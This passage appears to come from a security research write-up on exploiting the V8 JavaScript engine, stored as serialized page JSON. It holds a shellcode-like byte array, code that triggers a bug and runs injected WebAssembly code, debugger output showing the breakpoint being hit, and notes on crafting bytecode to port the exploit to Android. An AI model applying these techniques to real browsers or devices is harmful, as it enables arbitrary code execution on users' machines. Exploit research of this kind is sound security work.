alue":3173},{"type":24,"tag":147,"props":139967,"children":139968},{"style":235},[139969],{"type":29,"value":546},{"type":24,"tag":147,"props":139971,"children":139972},{"style":705},[139973],{"type":29,"value":3173},{"type":24,"tag":147,"props":139975,"children":139976},{"style":235},[139977],{"type":29,"value":546},{"type":24,"tag":147,"props":139979,"children":139980},{"style":705},[139981],{"type":29,"value":3173},{"type":24,"tag":147,"props":139983,"children":139984},{"style":235},[139985],{"type":29,"value":546},{"type":24,"tag":147,"props":139987,"children":139988},{"style":705},[139989],{"type":29,"value":3173},{"type":24,"tag":147,"props":139991,"children":139992},{"style":235},[139993],{"type":29,"value":546},{"type":24,"tag":147,"props":139995,"children":139996},{"style":705},[139997],{"type":29,"value":3173},{"type":24,"tag":147,"props":139999,"children":140000},{"style":235},[140001],{"type":29,"value":546},{"type":24,"tag":147,"props":140003,"children":140004},{"style":705},[140005],{"type":29,"value":3173},{"type":24,"tag":147,"props":140007,"children":140008},{"style":235},[140009],{"type":29,"value":546},{"type":24,"tag":147,"props":140011,"children":140012},{"style":705},[140013],{"type":29,"value":3173},{"type":24,"tag":147,"props":140015,"children":140016},{"style":235},[140017],{"type":29,"value":1549},{"type":24,"tag":147,"props":140019,"children":140020},{"class":149,"line":281},[140021,140025,140029,140033,140037,140041,140045,140049,140053,140057,140061,140065,140069,140073,140077,140081,140085,140089,140093,140097,140101,140105,140109,140113,140117,140121,140125,140129,140133,140137,140141,140145,140149,140154,140158,140162,140166,140171,140175,140180,140184,140189,140193,140197,140201,140206,140210,140214,140218,140223,140227,140231,140235,140240],{"type":24,"tag":147,"props":140022,"children":140023},{"style":705},[140024],{"type":29,"value":138986},{"type":24,"tag":147,"props":140026,"children":140027},{"style":235},[140028],{"type":29,"value":546},{"type":24,"tag":147,"props":140030,"children":140031},{"style":705},[140032],{"type":29,"value":3173},{"type":24,"tag":147,"props":140034,"children":140035},{"style":235},[140036],{"type":29,"value":546},{"type":24,"tag":147,"props":140038,"children":140039},{"style":705},[140040],{"type":29,"value":3173},{"type":24,"tag":147,"props":140042,"children":140043},{"style":235},[140044],{"type":29,"value":546},{"type":24,"tag":147,"props":140046,"children":140047},{"style":705},[140048],{"type":29,"value":3173},{"type":24,"tag":147,"props":140050,"children":140051},{"style":235},[140052],{"type":29,"value":546},{"type":24,"tag":147,"props":140054,"children":140055},{"style":705},[140056],{"type":29,"value":3173},{"type":24,"tag":147,"props":140058,"children":140059},{"style":235},[140060],{"type":29,"value":546},{"type":24,"tag":147,"props":140062,"children":140063},{"style":705},[140064],{"type":29,"value":3173},{"type":24,"tag":147,"props":140066,"children":140067},{"style":235},[140068],{"type":29,"value":546},{"type":24,"tag":147,"props":140070,"children":140071},{"style":705},[140072],{"type":29,"value":3173},{"type":24,"tag":147,"props":140074,"children":140075},{"style":235},[140076],{"type":29,"value":546},{"type":24,"tag":147,"props":140078,"children":140079},{"style":705},[140080],{"type":29,"value":3173},{"type":24,"tag":147,"props":140082,"children":140083},{"style":235},[140084],{"type":29,"value":546},{"type":24,"tag":147,"props":140086,"children":140087},{"style":705},[140088],{"type":29,"value":3173},{"type":24,"tag":147,"props":140090,"children":140091},{"style":235},[140092],{"type":29,"value":546},{"type":24,"tag":147,"props":140094,"children":140095},{"style":705},[140096],{"type":29,"value":3173},{"type":24,"tag":147,"props":140098,"children":140099},{"style":235},[140100],{"type":29,"value":546},{"type":24,"tag":147,"props":140102,"children":140103},{"style":705},[140104],{"type":29,"value":3173},{"type":24,"tag":147,"props":140106,"children":140107},{"style":235},[140108],{"type":29,"value":546},{"type":24,"tag":147,"props":140110,"children":140111},{"style":705},[140112],{"type":29,"value":3173},{"type":24,"tag":147,"props":140114,"children":140115},{"style":235},[140116],{"type":29,"value":546},{"type":24,"tag":147,"props":140118,"children":140119},{"style":705},[140120],{"type":29,"value":3173},{"type":24,"tag":147,"props":140122,"children":140123},{"style":235},[140124],{"type":29,"value":546},{"type":24,"tag":147,"props":140126,"children":140127},{"style":705},[140128],{"type":29,"value":3173},{"type":24,"tag":147,"props":140130,"children":140131},{"style":235},[140132],{"type":29,"value":546},{"type":24,"tag":147,"props":140134,"children":140135},{"style":705},[140136],{"type":29,"value":3173},{"type":24,"tag":147,"props":140138,"children":140139},{"style":235},[140140],{"type":29,"value":546},{"type":24,"tag":147,"props":140142,"children":140143},{"style":705},[140144],{"type":29,"value":8753},{"type":24,"tag":147,"props":140146,"children":140147},{"style":235},[140148],{"type":29,"value":546},{"type":24,"tag":147,"props":140150,"children":140151},{"style":705},[140152],{"type":29,"value":140153},"204",{"type":24,"tag":147,"props":140155,"children":140156},{"style":235},[140157],{"type":29,"value":546},{"type":24,"tag":147,"props":140159,"children":140160},{"style":705},[140161],{"type":29,"value":50377},{"type":24,"tag":147,"props":140163,"children":140164},{"style":235},[140165],{"type":29,"value":546},{"type":24,"tag":147,"props":140167,"children":140168},{"style":705},[140169],{"type":29,"value":140170},"137",{"type":24,"tag":147,"props":140172,"children":140173},{"style":235},[140174],{"type":29,"value":546},{"type":24,"tag":147,"props":140176,"children":140177},{"style":705},[140178],{"type":29,"value":140179},"229",{"type":24,"tag":147,"props":140181,"children":140182},{"style":235},[140183],{"type":29,"value":546},{"type":24,"tag":147,"props":140185,"children":140186},{"style":705},[140187],{"type":29,"value":140188},"106",{"type":24,"tag":147,"props":140190,"children":140191},{"style":235},[140192],{"type":29,"value":546},{"type":24,"tag":147,"props":140194,"children":140195},{"style":705},[140196],{"type":29,"value":9700},{"type":24,"tag":147,"props":140198,"children":140199},{"style":235},[140200],{"type":29,"value":546},{"type":24,"tag":147,"props":140202,"children":140203},{"style":705},[140204],{"type":29,"value":140205},"86",{"type":24,"tag":147,"props":140207,"children":140208},{"style":235},[140209],{"type":29,"value":546},{"type":24,"tag":147,"props":140211,"children":140212},{"style":705},[140213],{"type":29,"value":50377},{"type":24,"tag":147,"props":140215,"children":140216},{"style":235},[140217],{"type":29,"value":546},{"type":24,"tag":147,"props":140219,"children":140220},{"style":705},[140221],{"type":29,"value":140222},"139",{"type":24,"tag":147,"props":140224,"children":140225},{"style":235},[140226],{"type":29,"value":546},{"type":24,"tag":147,"props":140228,"children":140229},{"style":705},[140230],{"type":29,"value":140179},{"type":24,"tag":147,"props":140232,"children":140233},{"style":235},[140234],{"type":29,"value":546},{"type":24,"tag":147,"props":140236,"children":140237},{"style":705},[140238],{"type":29,"value":140239},"93",{"type":24,"tag":147,"props":140241,"children":140242},{"style":235},[140243],{"type":29,"value":1549},{"type":24,"tag":147,"props":140245,"children":140246},{"class":149,"line":299},[140247,140252,140256,140260,140264,140268,140272,140276,140280,140284,140288,140292,140296,140300,140304,140308,140312,140316,140320,140324,140328,140332,140336,140340,140344,140348,140352,140356,140360,140364,140368,140372,140376,140380,140384,140388,140392,140396,140400,140404,140408,140412,140416,140420,140424,140428,140432,140436,140440,140444,140448,140452,140456,140460,140464,140468,140472,140476,140480,140484],{"type":24,"tag":147,"props":140248,"children":140249},{"style":705},[140250],{"type":29,"value":140251},"    195",{"type":24,"tag":147,"props":140253,"children":140254},{"style":235},[140255],{"type":29,"value":546},{"type":24,"tag":147,"props":140257,"children":140258},{"style":705},[140259],{"type":29,"value":49905},{"type":24,"tag":147,"props":140261,"children":140262},{"style":235},[140263],{"type":29,"value":546},{"type":24,"tag":147,"props":140265,"children":140266},{"style":705},[140267],{"type":29,"value":65197},{"type":24,"tag":147,"props":140269,"children":140270},{"style":235},[140271],{"type":29,"value":546},{"type":24,"tag":147,"props":140273,"children":140274},{"style":705},[140275],{"type":29,"value":102249},{"type":24,"tag":147,"props":140277,"children":140278},{"style":235},[140279],{"type":29,"value":546},{"type":24,"tag":147,"props":140281,"children":140282},{"style":705},[140283],{"type":29,"value":3173},{"type":24,"tag":147,"props":140285,"children":140286},{"style":235},[140287],{"type":29,"value":546},{"type":24,"tag":147,"props":140289,"children":140290},{"style":705},[140291],{"type":29,"value":23134},{"type":24,"tag":147,"props":140293,"children":140294},{"style":235},[140295],{"type":29,"value":546},{"type":24,"tag":147,"props":140297,"children":140298},{"style":705},[140299],{"type":29,"value":3173},{"type":24,"tag":147,"props":140301,"children":140302},{"style":235},[140303],{"type":29,"value":546},{"type":24,"tag":147,"props":140305,"children":140306},{"style":705},[140307],{"type":29,"value":3173},{"type":24,"tag":147,"props":140309,"children":140310},{"style":235},[140311],{"type":29,"value":546},{"type":24,"tag":147,"props":140313,"children":140314},{"style":705},[140315],{"type":29,"value":3173},{"type":24,"tag":147,"props":140317,"children":140318},{"style":235},[140319],{"type":29,"value":546},{"type":24,"tag":147,"props":140321,"children":140322},{"style":705},[140323],{"type":29,"value":3173},{"type":24,"tag":147,"props":140325,"children":140326},{"style":235},[140327],{"type":29,"value":546},{"type":24,"tag":147,"props":140329,"children":140330},{"style":705},[140331],{"type":29,"value":3173},{"type":24,"tag":147,"props":140333,"children":140334},{"style":235},[140335],{"type":29,"value":546},{"type":24,"tag":147,"props":140337,"children":140338},{"style":705},[140339],{"type":29,"value":3173},{"type":24,"tag":147,"props":140341,"children":140342},{"style":235},[140343],{"type":29,"value":546},{"type":24,"tag":147,"props":140345,"children":140346},{"style":705},[140347],{"type":29,"value":3173},{"type":24,"tag":147,"props":140349,"children":140350},{"style":235},[140351],{"type":29,"value":546},{"type":24,"tag":147,"props":140353,"children":140354},{"style":705},[140355],{"type":29,"value":3173},{"type":24,"tag":147,"props":140357,"children":140358},{"style":235},[140359],{"type":29,"value":546},{"type":24,"tag":147,"props":140361,"children":140362},{"style":705},[140363],{"type":29,"value":23134},{"type":24,"tag":147,"props":140365,"children":140366},{"style":235},[140367],{"type":29,"value":546},{"type":24,"tag":147,"props":140369,"children":140370},{"style":705},[140371],{"type":29,"value":3173},{"type":24,"tag":147,"props":140373,"children":140374},{"style":235},[140375],{"type":29,"value":546},{"type":24,"tag":147,"props":140377,"children":140378},{"style":705},[140379],{"type":29,"value":3173},{"type":24,"tag":147,"props":140381,"children":140382},{"style":235},[140383],{"type":29,"value":546},{"type":24,"tag":147,"props":140385,"children":140386},{"style":705},[140387],{"type":29,"value":3173},{"type":24,"tag":147,"props":140389,"children":140390},{"style":235},[140391],{"type":29,"value":546},{"type":24,"tag":147,"props":140393,"children":140394},{"style":705},[140395],{"type":29,"value":3173},{"type":24,"tag":147,"props":140397,"children":140398},{"style":235},[140399],{"type":29,"value":546},{"type":24,"tag":147,"props":140401,"children":140402},{"style":705},[140403],{"type":29,"value":3173},{"type":24,"tag":147,"props":140405,"children":140406},{"style":235},[140407],{"type":29,"value":546},{"type":24,"tag":147,"props":140409,"children":140410},{"style":705},[140411],{"type":29,"value":3173},{"type":24,"tag":147,"props":140413,"children":140414},{"style":235},[140415],{"type":29,"value":546},{"type":24,"tag":147,"props":140417,"children":140418},{"style":705},[140419],{"type":29,"value":3173},{"type":24,"tag":147,"props":140421,"children":140422},{"style":235},[140423],{"type":29,"value":546},{"type":24,"tag":147,"props":140425,"children":140426},{"style":705},[140427],{"type":29,"value":3173},{"type":24,"tag":147,"props":140429,"children":140430},{"style":235},[140431],{"type":29,"value":546},{"type":24,"tag":147,"props":140433,"children":140434},{"style":705},[140435],{"type":29,"value":3173},{"type":24,"tag":147,"props":140437,"children":140438},{"style":235},[140439],{"type":29,"value":546},{"type":24,"tag":147,"props":140441,"children":140442},{"style":705},[140443],{"type":29,"value":3173},{"type":24,"tag":147,"props":140445,"children":140446},{"style":235},[140447],{"type":29,"value":546},{"type":24,"tag":147,"props":140449,"children":140450},{"style":705},[140451],{"type":29,"value":3173},{"type":24,"tag":147,"props":140453,"children":140454},{"style":235},[140455],{"type":29,"value":546},{"type":24,"tag":147,"props":140457,"children":140458},{"style":705},[140459],{"type":29,"value":3173},{"type":24,"tag":147,"props":140461,"children":140462},{"style":235},[140463],{"type":29,"value":546},{"type":24,"tag":147,"props":140465,"children":140466},{"style":705},[140467],{"type":29,"value":3173},{"type":24,"tag":147,"props":140469,"children":140470},{"style":235},[140471],{"type":29,"value":546},{"type":24,"tag":147,"props":140473,"children":140474},{"style":705},[140475],{"type":29,"value":3173},{"type":24,"tag":147,"props":140477,"children":140478},{"style":235},[140479],{"type":29,"value":546},{"type":24,"tag":147,"props":140481,"children":140482},{"style":705},[140483],{"type":29,"value":3173},{"type":24,"tag":147,"props":140485,"children":140486},{"style":235},[140487],{"type":29,"value":1549},{"type":24,"tag":147,"props":140489,"children":140490},{"class":149,"line":308},[140491,140495,140499,140503,140507,140511,140515,140519,140523,140527,140531,140535,140539,140543,140547,140551,140555,140559,140563,140567,140571,140575,140579,140583,140587,140591,140595,140599,140603,140607,140611,140615,140619,140623,140627,140631,140635,140639,140643,140647,140651,140655,140659,140663,140667,140671,140675,140679,140683,140687,140691,140696,140700,140704],{"type":24,"tag":147,"props":140492,"children":140493},{"style":705},[140494],{"type":29,"value":138986},{"type":24,"tag":147,"props":140496,"children":140497},{"style":235},[140498],{"type":29,"value":546},{"type":24,"tag":147,"props":140500,"children":140501},{"style":705},[140502],{"type":29,"value":3173},{"type":24,"tag":147,"props":140504,"children":140505},{"style":235},[140506],{"type":29,"value":546},{"type":24,"tag":147,"props":140508,"children":140509},{"style":705},[140510],{"type":29,"value":3173},{"type":24,"tag":147,"props":140512,"children":140513},{"style":235},[140514],{"type":29,"value":546},{"type":24,"tag":147,"props":140516,"children":140517},{"style":705},[140518],{"type":29,"value":3173},{"type":24,"tag":147,"props":140520,"children":140521},{"style":235},[140522],{"type":29,"value":546},{"type":24,"tag":147,"props":140524,"children":140525},{"style":705},[140526],{"type":29,"value":3173},{"type":24,"tag":147,"props":140528,"children":140529},{"style":235},[140530],{"type":29,"value":546},{"type":24,"tag":147,"props":140532,"children":140533},{"style":705},[140534],{"type":29,"value":3173},{"type":24,"tag":147,"props":140536,"children":140537},{"style":235},[140538],{"type":29,"value":546},{"type":24,"tag":147,"props":140540,"children":140541},{"style":705},[140542],{"type":29,"value":3173},{"type":24,"tag":147,"props":140544,"children":140545},{"style":235},[140546],{"type":29,"value":546},{"type":24,"tag":147,"props":140548,"children":140549},{"style":705},[140550],{"type":29,"value":3173},{"type":24,"tag":147,"props":140552,"children":140553},{"style":235},[140554],{"type":29,"value":546},{"type":24,"tag":147,"props":140556,"children":140557},{"style":705},[140558],{"type":29,"value":3173},{"type":24,"tag":147,"props":140560,"children":140561},{"style":235},[140562],{"type":29,"value":546},{"type":24,"tag":147,"props":140564,"children":140565},{"style":705},[140566],{"type":29,"value":3173},{"type":24,"tag":147,"props":140568,"children":140569},{"style":235},[140570],{"type":29,"value":546},{"type":24,"tag":147,"props":140572,"children":140573},{"style":705},[140574],{"type":29,"value":3173},{"type":24,"tag":147,"props":140576,"children":140577},{"style":235},[140578],{"type":29,"value":546},{"type":24,"tag":147,"props":140580,"children":140581},{"style":705},[140582],{"type":29,"value":3173},{"type":24,"tag":147,"props":140584,"children":140585},{"style":235},[140586],{"type":29,"value":546},{"type":24,"tag":147,"props":140588,"children":140589},{"style":705},[140590],{"type":29,"value":3173},{"type":24,"tag":147,"props":140592,"children":140593},{"style":235},[140594],{"type":29,"value":546},{"type":24,"tag":147,"props":140596,"children":140597},{"style":705},[140598],{"type":29,"value":3173},{"type":24,"tag":147,"props":140600,"children":140601},{"style":235},[140602],{"type":29,"value":546},{"type":24,"tag":147,"props":140604,"children":140605},{"style":705},[140606],{"type":29,"value":3173},{"type":24,"tag":147,"props":140608,"children":140609},{"style":235},[140610],{"type":29,"value":546},{"type":24,"tag":147,"props":140612,"children":140613},{"style":705},[140614],{"type":29,"value":3173},{"type":24,"tag":147,"props":140616,"children":140617},{"style":235},[140618],{"type":29,"value":546},{"type":24,"tag":147,"props":140620,"children":140621},{"style":705},[140622],{"type":29,"value":3173},{"type":24,"tag":147,"props":140624,"children":140625},{"style":235},[140626],{"type":29,"value":546},{"type":24,"tag":147,"props":140628,"children":140629},{"style":705},[140630],{"type":29,"value":3173},{"type":24,"tag":147,"props":140632,"children":140633},{"style":235},[140634],{"type":29,"value":546},{"type":24,"tag":147,"props":140636,"children":140637},{"style":705},[140638],{"type":29,"value":3173},{"type":24,"tag":147,"props":140640,"children":140641},{"style":235},[140642],{"type":29,"value":546},{"type":24,"tag":147,"props":140644,"children":140645},{"style":705},[140646],{"type":29,"value":3173},{"type":24,"tag":147,"props":140648,"children":140649},{"style":235},[140650],{"type":29,"value":546},{"type":24,"tag":147,"props":140652,"children":140653},{"style":705},[140654],{"type":29,"value":3173},{"type":24,"tag":147,"props":140656,"children":140657},{"style":235},[140658],{"type":29,"value":546},{"type":24,"tag":147,"props":140660,"children":140661},{"style":705},[140662],{"type":29,"value":3173},{"type":24,"tag":147,"props":140664,"children":140665},{"style":235},[140666],{"type":29,"value":546},{"type":24,"tag":147,"props":140668,"children":140669},{"style":705},[140670],{"type":29,"value":3173},{"type":24,"tag":147,"props":140672,"children":140673},{"style":235},[140674],{"type":29,"value":546},{"type":24,"tag":147,"props":140676,"children":140677},{"style":705},[140678],{"type":29,"value":35024},{"type":24,"tag":147,"props":140680,"children":140681},{"style":235},[140682],{"type":29,"value":546},{"type":24,"tag":147,"props":140684,"children":140685},{"style":705},[140686],{"type":29,"value":140239},{"type":24,"tag":147,"props":140688,"children":140689},{"style":235},[140690],{"type":29,"value":546},{"type":24,"tag":147,"props":140692,"children":140693},{"style":705},[140694],{"type":29,"value":140695},"198",{"type":24,"tag":147,"props":140697,"children":140698},{"style":235},[140699],{"type":29,"value":546},{"type":24,"tag":147,"props":140701,"children":140702},{"style":705},[140703],{"type":29,"value":3173},{"type":24,"tag":147,"props":140705,"children":140706},{"style":235},[140707],{"type":29,"value":1549},{"type":24,"tag":147,"props":140709,"children":140710},{"class":149,"line":317},[140711],{"type":24,"tag":147,"props":140712,"children":140713},{"style":235},[140714],{"type":29,"value":139273},{"type":24,"tag":147,"props":140716,"children":140717},{"class":149,"line":332},[140718,140722,140727,140731,140736,140740,140744,140748,140752,140756,140760],{"type":24,"tag":147,"props":140719,"children":140720},{"style":218},[140721],{"type":29,"value":13481},{"type":24,"tag":147,"props":140723,"children":140724},{"style":247},[140725],{"type":29,"value":140726}," r",{"type":24,"tag":147,"props":140728,"children":140729},{"style":241},[140730],{"type":29,"value":651},{"type":24,"tag":147,"props":140732,"children":140733},{"style":229},[140734],{"type":29,"value":140735}," bug",{"type":24,"tag":147,"props":140737,"children":140738},{"style":235},[140739],{"type":29,"value":480},{"type":24,"tag":147,"props":140741,"children":140742},{"style":247},[140743],{"type":29,"value":138604},{"type":24,"tag":147,"props":140745,"children":140746},{"style":235},[140747],{"type":29,"value":546},{"type":24,"tag":147,"props":140749,"children":140750},{"style":247},[140751],{"type":29,"value":1610},{"type":24,"tag":147,"props":140753,"children":140754},{"style":235},[140755],{"type":29,"value":87},{"type":24,"tag":147,"props":140757,"children":140758},{"style":247},[140759],{"type":29,"value":1610},{"type":24,"tag":147,"props":140761,"children":140762},{"style":235},[140763],{"type":29,"value":1473},{"type":24,"tag":147,"props":140765,"children":140766},{"class":149,"line":350},[140767,140772,140776,140780,140784,140788,140792,140796,140801,140805],{"type":24,"tag":147,"props":140768,"children":140769},{"style":247},[140770],{"type":29,"value":140771},"  result",{"type":24,"tag":147,"props":140773,"children":140774},{"style":241},[140775],{"type":29,"value":651},{"type":24,"tag":147,"props":140777,"children":140778},{"style":235},[140779],{"type":29,"value":408},{"type":24,"tag":147,"props":140781,"children":140782},{"style":321},[140783],{"type":29,"value":38517},{"type":24,"tag":147,"props":140785,"children":140786},{"style":247},[140787],{"type":29,"value":140726},{"type":24,"tag":147,"props":140789,"children":140790},{"style":235},[140791],{"type":29,"value":87},{"type":24,"tag":147,"props":140793,"children":140794},{"style":229},[140795],{"type":29,"value":5817},{"type":24,"tag":147,"props":140797,"children":140798},{"style":235},[140799],{"type":29,"value":140800},"()).",{"type":24,"tag":147,"props":140802,"children":140803},{"style":247},[140804],{"type":29,"value":5037},{"type":24,"tag":147,"props":140806,"children":140807},{"style":235},[140808],{"type":29,"value":432},{"type":24,"tag":147,"props":140810,"children":140811},{"class":149,"line":358},[140812,140816,140821,140825,140829,140833,140837,140841,140845,140849],{"type":24,"tag":147,"props":140813,"children":140814},{"style":218},[140815],{"type":29,"value":41789},{"type":24,"tag":147,"props":140817,"children":140818},{"style":247},[140819],{"type":29,"value":140820}," wasm_instance",{"type":24,"tag":147,"props":140822,"children":140823},{"style":241},[140824],{"type":29,"value":651},{"type":24,"tag":147,"props":140826,"children":140827},{"style":218},[140828],{"type":29,"value":37533},{"type":24,"tag":147,"props":140830,"children":140831},{"style":247},[140832],{"type":29,"value":138587},{"type":24,"tag":147,"props":140834,"children":140835},{"style":235},[140836],{"type":29,"value":87},{"type":24,"tag":147,"props":140838,"children":140839},{"style":229},[140840],{"type":29,"value":138641},{"type":24,"tag":147,"props":140842,"children":140843},{"style":235},[140844],{"type":29,"value":480},{"type":24,"tag":147,"props":140846,"children":140847},{"style":247},[140848],{"type":29,"value":14706},{"type":24,"tag":147,"props":140850,"children":140851},{"style":235},[140852],{"type":29,"value":1473},{"type":24,"tag":147,"props":140854,"children":140855},{"class":149,"line":397},[140856,140860,140864,140868,140872,140876,140880,140884,140888],{"type":24,"tag":147,"props":140857,"children":140858},{"style":218},[140859],{"type":29,"value":41789},{"type":24,"tag":147,"props":140861,"children":140862},{"style":247},[140863],{"type":29,"value":38572},{"type":24,"tag":147,"props":140865,"children":140866},{"style":241},[140867],{"type":29,"value":651},{"type":24,"tag":147,"props":140869,"children":140870},{"style":247},[140871],{"type":29,"value":140820},{"type":24,"tag":147,"props":140873,"children":140874},{"style":235},[140875],{"type":29,"value":87},{"type":24,"tag":147,"props":140877,"children":140878},{"style":247},[140879],{"type":29,"value":43483},{"type":24,"tag":147,"props":140881,"children":140882},{"style":235},[140883],{"type":29,"value":87},{"type":24,"tag":147,"props":140885,"children":140886},{"style":247},[140887],{"type":29,"value":138690},{"type":24,"tag":147,"props":140889,"children":140890},{"style":235},[140891],{"type":29,"value":432},{"type":24,"tag":147,"props":140893,"children":140894},{"class":149,"line":421},[140895,140900],{"type":24,"tag":147,"props":140896,"children":140897},{"style":229},[140898],{"type":29,"value":140899},"  f",{"type":24,"tag":147,"props":140901,"children":140902},{"style":235},[140903],{"type":29,"value":9295},{"type":24,"tag":147,"props":140905,"children":140906},{"class":149,"line":435},[140907],{"type":24,"tag":147,"props":140908,"children":140909},{"style":235},[140910],{"type":29,"value":107563},{"type":24,"tag":25,"props":140912,"children":140913},{},[140914],{"type":29,"value":140915},"Running this in a debugger shows the expected breakpoint:",{"type":24,"tag":137,"props":140917,"children":140919},{"code":140918},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[140920],{"type":24,"tag":80,"props":140921,"children":140922},{"__ignoreMap":7},[140923],{"type":29,"value":140918},{"type":24,"tag":43,"props":140925,"children":140927},{"id":140926},"porting-to-android",[140928],{"type":29,"value":140929},"Porting to Android",{"type":24,"tag":25,"props":140931,"children":140932},{},[140933,140935,140940,140942,140947,140949,140954,140956,140962],{"type":29,"value":140934},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":24,"tag":80,"props":140936,"children":140938},{"className":140937},[],[140939],{"type":29,"value":137719},{"type":29,"value":140941}," fails. We cross-compiled ",{"type":24,"tag":80,"props":140943,"children":140945},{"className":140944},[],[140946],{"type":29,"value":136878},{"type":29,"value":140948}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":24,"tag":80,"props":140950,"children":140952},{"className":140951},[],[140953],{"type":29,"value":137719},{"type":29,"value":140955}," returned ",{"type":24,"tag":80,"props":140957,"children":140959},{"className":140958},[],[140960],{"type":29,"value":140961},"undefined",{"type":29,"value":87},{"type":24,"tag":25,"props":140964,"children":140965},{},[140966,140968,140973,140975,140980],{"type":29,"value":140967},"Instead, we modified the bytecode to call ",{"type":24,"tag":80,"props":140969,"children":140971},{"className":140970},[],[140972],{"type":29,"value":137745},{"type":29,"value":140974}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":24,"tag":80,"props":140976,"children":140978},{"className":140977},[],[140979],{"type":29,"value":137719},{"type":29,"value":87},{"type":24,"tag":137,"props":140982,"children":140984},{"code":140983,"language":41216,"meta":7,"className":41214,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[140985],{"type":24,"tag":80,"props":140986,"children":140987},{"__ignoreMap":7},[140988,140999,141043,141063,141079,141102,141129,141144],{"type":24,"tag":147,"props":140989,"children":140990},{"class":149,"line":150},[140991,140995],{"type":24,"tag":147,"props":140992,"children":140993},{"style":321},[140994],{"type":29,"value":53930},{"type":24,"tag":147,"props":140996,"children":140997},{"style":235},[140998],{"type":29,"value":6630},{"type":24,"tag":147,"props":141000,"children":141001},{"class":149,"line":160},[141002,141006,141010,141014,141018,141022,141026,141031,141035,141039],{"type":24,"tag":147,"props":141003,"children":141004},{"style":247},[141005],{"type":29,"value":137986},{"type":24,"tag":147,"props":141007,"children":141008},{"style":235},[141009],{"type":29,"value":82202},{"type":24,"tag":147,"props":141011,"children":141012},{"style":3534},[141013],{"type":29,"value":137995},{"type":24,"tag":147,"props":141015,"children":141016},{"style":235},[141017],{"type":29,"value":87},{"type":24,"tag":147,"props":141019,"children":141020},{"style":229},[141021],{"type":29,"value":138004},{"type":24,"tag":147,"props":141023,"children":141024},{"style":235},[141025],{"type":29,"value":480},{"type":24,"tag":147,"props":141027,"children":141028},{"style":705},[141029],{"type":29,"value":141030},"0x059301",{"type":24,"tag":147,"props":141032,"children":141033},{"style":241},[141034],{"type":29,"value":1791},{"type":24,"tag":147,"props":141036,"children":141037},{"style":705},[141038],{"type":29,"value":10147},{"type":24,"tag":147,"props":141040,"children":141041},{"style":235},[141042],{"type":29,"value":138026},{"type":24,"tag":147,"props":141044,"children":141045},{"class":149,"line":169},[141046,141050,141054,141059],{"type":24,"tag":147,"props":141047,"children":141048},{"style":247},[141049],{"type":29,"value":138034},{"type":24,"tag":147,"props":141051,"children":141052},{"style":241},[141053],{"type":29,"value":1734},{"type":24,"tag":147,"props":141055,"children":141056},{"style":705},[141057],{"type":29,"value":141058}," 0x03027a6c",{"type":24,"tag":147,"props":141060,"children":141061},{"style":235},[141062],{"type":29,"value":432},{"type":24,"tag":147,"props":141064,"children":141065},{"class":149,"line":178},[141066,141070,141075],{"type":24,"tag":147,"props":141067,"children":141068},{"style":321},[141069],{"type":29,"value":40802},{"type":24,"tag":147,"props":141071,"children":141072},{"style":705},[141073],{"type":29,"value":141074}," 0x393e71a",{"type":24,"tag":147,"props":141076,"children":141077},{"style":235},[141078],{"type":29,"value":432},{"type":24,"tag":147,"props":141080,"children":141081},{"class":149,"line":187},[141082,141086,141090,141094,141098],{"type":24,"tag":147,"props":141083,"children":141084},{"style":235},[141085],{"type":29,"value":52473},{"type":24,"tag":147,"props":141087,"children":141088},{"style":321},[141089],{"type":29,"value":54010},{"type":24,"tag":147,"props":141091,"children":141092},{"style":235},[141093],{"type":29,"value":408},{"type":24,"tag":147,"props":141095,"children":141096},{"style":247},[141097],{"type":29,"value":57047},{"type":24,"tag":147,"props":141099,"children":141100},{"style":235},[141101],{"type":29,"value":505},{"type":24,"tag":147,"props":141103,"children":141104},{"class":149,"line":196},[141105,141109,141113,141117,141121,141125],{"type":24,"tag":147,"props":141106,"children":141107},{"style":247},[141108],{"type":29,"value":107522},{"type":24,"tag":147,"props":141110,"children":141111},{"style":235},[141112],{"type":29,"value":87},{"type":24,"tag":147,"props":141114,"children":141115},{"style":229},[141116],{"type":29,"value":107531},{"type":24,"tag":147,"props":141118,"children":141119},{"style":235},[141120],{"type":29,"value":480},{"type":24,"tag":147,"props":141122,"children":141123},{"style":3534},[141124],{"type":29,"value":138110},{"type":24,"tag":147,"props":141126,"children":141127},{"style":235},[141128],{"type":29,"value":1473},{"type":24,"tag":147,"props":141130,"children":141131},{"class":149,"line":205},[141132,141136,141140],{"type":24,"tag":147,"props":141133,"children":141134},{"style":321},[141135],{"type":29,"value":138122},{"type":24,"tag":147,"props":141137,"children":141138},{"style":247},[141139],{"type":29,"value":138127},{"type":24,"tag":147,"props":141141,"children":141142},{"style":235},[141143],{"type":29,"value":432},{"type":24,"tag":147,"props":141145,"children":141146},{"class":149,"line":214},[141147],{"type":24,"tag":147,"props":141148,"children":141149},{"style":235},[141150],{"type":29,"value":827},{"type":24,"tag":25,"props":141152,"children":141153},{},[141154,141156,141162,141164,141170,141172,141178,141180,141185,141187,141193,141195,141200,141201,141207],{"type":29,"value":141155},"Here, ",{"type":24,"tag":80,"props":141157,"children":141159},{"className":141158},[],[141160],{"type":29,"value":141161},"a1 + 0x03027a6c",{"type":29,"value":141163}," generates the bytes ",{"type":24,"tag":80,"props":141165,"children":141167},{"className":141166},[],[141168],{"type":29,"value":141169},"01 4b 6c 7a 02 03",{"type":29,"value":141171},", where ",{"type":24,"tag":80,"props":141173,"children":141175},{"className":141174},[],[141176],{"type":29,"value":141177},"0x6c",{"type":29,"value":141179}," is the ",{"type":24,"tag":80,"props":141181,"children":141183},{"className":141182},[],[141184],{"type":29,"value":137703},{"type":29,"value":141186}," opcode, ",{"type":24,"tag":80,"props":141188,"children":141190},{"className":141189},[],[141191],{"type":29,"value":141192},"0x027a",{"type":29,"value":141194}," is the function ID of 